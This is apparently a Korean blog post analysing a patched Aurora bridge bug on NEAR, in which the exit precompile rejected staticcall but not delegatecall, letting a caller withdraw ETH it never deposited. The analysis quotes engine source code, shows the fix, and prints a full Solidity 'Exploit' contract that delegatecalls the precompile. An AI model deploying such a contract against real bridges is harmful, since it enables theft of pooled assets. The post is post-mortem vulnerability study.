업데이트 시기 : 2022. 04. 27

취약점 신고자 : pwning.eth

취약점 요약 : Aurora의 Bridge 쪽에서 발견된 취약점으로, Bridge가 가지고 있는 자산을 무한으로 인출 가능한 취약점임.

 

취약점 분석 

etc/eth-contracts/contracts/test/Tester.sol

    function withdrawEthToNear(bytes memory recipient) external payable {
        bytes memory input = abi.encodePacked("\x00", recipient);
        uint input_size = 1 + recipient.length;
        uint256 amount = msg.value;

        assembly {
            let res := call(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, amount, add(input, 32), input_size, 0, 32)
        }
    }

    function withdrawEthToEthereum(address recipient) external payable {
        bytes20 recipient_b = bytes20(recipient);
        bytes memory input = abi.encodePacked("\x00", recipient_b);
        uint input_size = 1 + 20;
        uint256 amount = msg.value;

        assembly {
            let res := call(gas(), 0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab, amount, add(input, 32), input_size, 0, 32)
        }
    }

위 코드는 aurora에서 자체적으로 만든 테스트 코드이다. 두 함수는 각각 브릿지에 Eth를 보내면 이를 반환해주는 함수다.

두 함수는 공통적인 취약점을 가지고 있으므로, withdrawEthToNear 함수만 봐도 무방하다.

 

withdrawEthToNear는 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f 주소를 호출하고 있으며, 해당 주소는 aurora 자체 개발 엔진인 engine-precompiles/src/native.rs에서 확인 가능하다.

 

engine-precompiles/src/native.rs

        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
        }
	let flag = input[0];
        #[cfg(feature = "error_refund")]
        let (refund_address, mut input) = parse_input(input);
        #[cfg(not(feature = "error_refund"))]
        let mut input = parse_input(input);
        let current_account_id = self.current_account_id.clone();
        #[cfg(feature = "error_refund")]
        let refund_on_error_target = current_account_id.clone();

        let (nep141_address, args, exit_event) = match flag {
            0x0 => {
                // ETH transfer
                //
                // Input slice format:
                //      recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens

                if let Ok(dest_account) = AccountId::try_from(input) {
                    (
                        current_account_id,
                        // There is no way to inject json, given the encoding of both arguments
                        // as decimal and valid account id respectively.
                        format!(
                            r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
                            dest_account,
                            context.apparent_value.as_u128()
                        ),
                        events::ExitToNear {
                            sender: Address::new(context.caller),
                            erc20_address: events::ETH_ADDRESS,
                            dest: dest_account.to_string(),
                            amount: context.apparent_value,
                        },
                    )
                } else {
                    return Err(ExitError::Other(Cow::from(
                        "ERR_INVALID_RECEIVER_ACCOUNT_ID",
                    )));
                }
            }
            0x1 => {
                // ERC20 transfer
                //
                // This precompile branch is expected to be called from the ERC20 burn function\
                //
                // Input slice format:
                //      amount (U256 big-endian bytes) - the amount that was burned
                //      recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 tokens

                if context.apparent_value != U256::from(0) {
                    return Err(ExitError::Other(Cow::from(
                        "ERR_ETH_ATTACHED_FOR_ERC20_EXIT",
                    )));
                }

                let erc20_address = context.caller;
                let nep141_address = get_nep141_from_erc20(erc20_address.as_bytes());

                let amount = U256::from_big_endian(&input[..32]);
                input = &input[32..];

                if let Ok(receiver_account_id) = AccountId::try_from(input) {
                    (
                        nep141_address,
                        // There is no way to inject json, given the encoding of both arguments
                        // as decimal and valid account id respectively.
                        format!(
                            r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
                            receiver_account_id,
                            amount.as_u128()
                        ),
                        events::ExitToNear {
                            sender: Address::new(erc20_address),
                            erc20_address: Address::new(erc20_address),
                            dest: receiver_account_id.to_string(),
                            amount,
                        },
                    )
                } else {
                    return Err(ExitError::Other(Cow::from(
                        "ERR_INVALID_RECEIVER_ACCOUNT_ID",
                    )));
                }
            }

위 코드는 native.rs에서 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f가 호출되는 중요한 부분만을 자른 코드이다.

 

input의 첫번째 인자로 flag를 받아 erc20을 받는지 Eth를 받는지 구분하고 있다.

flag=0인 경우에는 Eth를 받는 경우이며, 위의 context.apparent_value는 msg.value를 의미하고, dest_account는 input을 파싱하여 얻은 주소값을 가리키고 있다.

 

그렇게 각 값을 얻은 다음 이를 ExitToNear 이벤트 struct로 저장해 exit_event에 로그로 저장한다.

이렇게 로그로 저장된 값들은 engine/src/engine.rs 코드 내에서 스케줄러에 올라가게 된다.

 

engine/src/engine.rs

    fn filter_promises_from_logs<T, P>(handler: &mut P, logs: T) -> Vec<ResultLog>
    where
        T: IntoIterator<Item = Log>,
        P: PromiseHandler,
    {
        logs.into_iter()
            .filter_map(|log| {
                if log.address == exit_to_near::ADDRESS.raw()
                    || log.address == exit_to_ethereum::ADDRESS.raw()
                {
                    if log.topics.is_empty() {
                        if let Ok(promise) = PromiseArgs::try_from_slice(&log.data) {
                            match promise {
                                PromiseArgs::Create(promise) => schedule_promise(handler, &promise),
                                PromiseArgs::Callback(promise) => {
                                    let base_id = schedule_promise(handler, &promise.base);
                                    schedule_promise_callback(handler, base_id, &promise.callback)
                                }
                            };
                        }
                        // do not pass on these "internal logs" to caller
                        None
                    } else {
                        // The exit precompiles do produce externally consumable logs in
                        // addition to the promises. The external logs have a non-empty
                        // `topics` field.
                        Some(log.into())
                    }
                } else {
                    Some(log.into())
                }
            })
            .collect()
    }

exit_to_near 주소에서 올라간 로그들은 스케줄러 promise로 올라가게 됨을 확인할 수 있다.

 

취약점은 위에 올린 native.rs 코드에서 발견된다.

코드의 첫부분을 보게 되면 staticcall을 금지하는 코드가 있음을 확인할 수 있다.

        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
        }

해당 코드에서는 주소로 들어오는 호출이 staticcall일 경우 에러를 반환하도록 하고 있다.

하지만 delegatecall에 대해서는 별도의 조건이 없고 해당 호출을 허용하고 있다.

 

delegatecall을 사용하는 경우를 살펴보자.

출처 : https://eun97.tistory.com/entry/Solidity-call-delegateCall

delegatecall로 Contract A에서 Contract B를 호출하는 경우 msg.sender와 msg.value가 Contract A 호출시와 동일하다.

또한 사용하는 Storage는 Contract A가 된다.

 

따라서 아래와 같은 공격 Contract가 수행 가능하게 된다.

    // SPDX-License-Identifier: GPL-3.0

    pragma solidity ^0.8.6;

    contract Exploit {
        address payable private owner;

        constructor() {
            owner = payable(msg.sender);
        }

        function exploit(bytes memory recipient) public payable {
            require(msg.sender == owner);

            bytes memory input = abi.encodePacked("\x00", recipient);
            uint input_size = 1 + recipient.length;

            assembly {
                let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)
            }

            owner.transfer(msg.value);
        }
    }

내 주소에서 Exploit Contract에 x Ether만큼 전송하고 exploit 함수를 호출한다고 생각해보자.

아래의 delegatecall을 통해 호출될 때의 상황을 생각해보면

msg.value = x, msg.sender = 내 주소, recipient = 내 주소 입력 이 되게 된다.

 

aurora engine에서는 bridge에 msg.value만큼 Eth가 전송되었다고 착각하여 앞서 설명한 프로세스를 수행하게 되고, 결과적으로 recipient(내 주소)에 x Eth를 전송하게 된다. 

 

결론적으로 내 주소에는 x Eth만큼의 자산이 추가되게 된다.

 

취약점 수정

해당 취약점은 앞서 staticcall을 금지한것처럼 delegatecall 호출을 금지함으로서 취약점이 수정되었다.

        // It's not allowed to call exit precompiles in static mode
        if is_static {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_STATIC")));
        } else if context.address != Self::ADDRESS.raw() {
            return Err(ExitError::Other(Cow::from("ERR_INVALID_IN_DELEGATE")));
        }

 

 

참고

https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d

https://github.com/aurora-is-near/aurora-engine

https://aurora.dev/blog/aurora-mitigates-its-inflation-vulnerability

'vulnerability analysis' 카테고리의 다른 글

Precompile contract delegatecall Vulnerability  (0) 2022.07.05

https://rinthel.github.io/rust-lang-book-ko/ 

 

들어가기 앞서 - The Rust Programming Language

항상 그렇게 명확지는 않았지만, 러스트 프로그래밍 언어는 근본적으로 권한 분산에 관한 것입니다: 여러분이 어떠한 종류의 코드를 작성하는 중이던 간에, 러스트는 여러분에게 더 멀리 뻗어

rinthel.github.io

한글판

 

https://www.rust-lang.org/learn

 

Learn Rust

A language empowering everyone to build reliable and efficient software.

www.rust-lang.org

영문판

 

https://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/README.html

 

Introduction - The Rust Programming Language

Welcome! This book will teach you about the Rust Programming Language. Rust is a systems programming language focused on three goals: safety, speed, and concurrency. It maintains these goals without having a garbage collector, making it a useful language f

web.mit.edu

 

+ Recent posts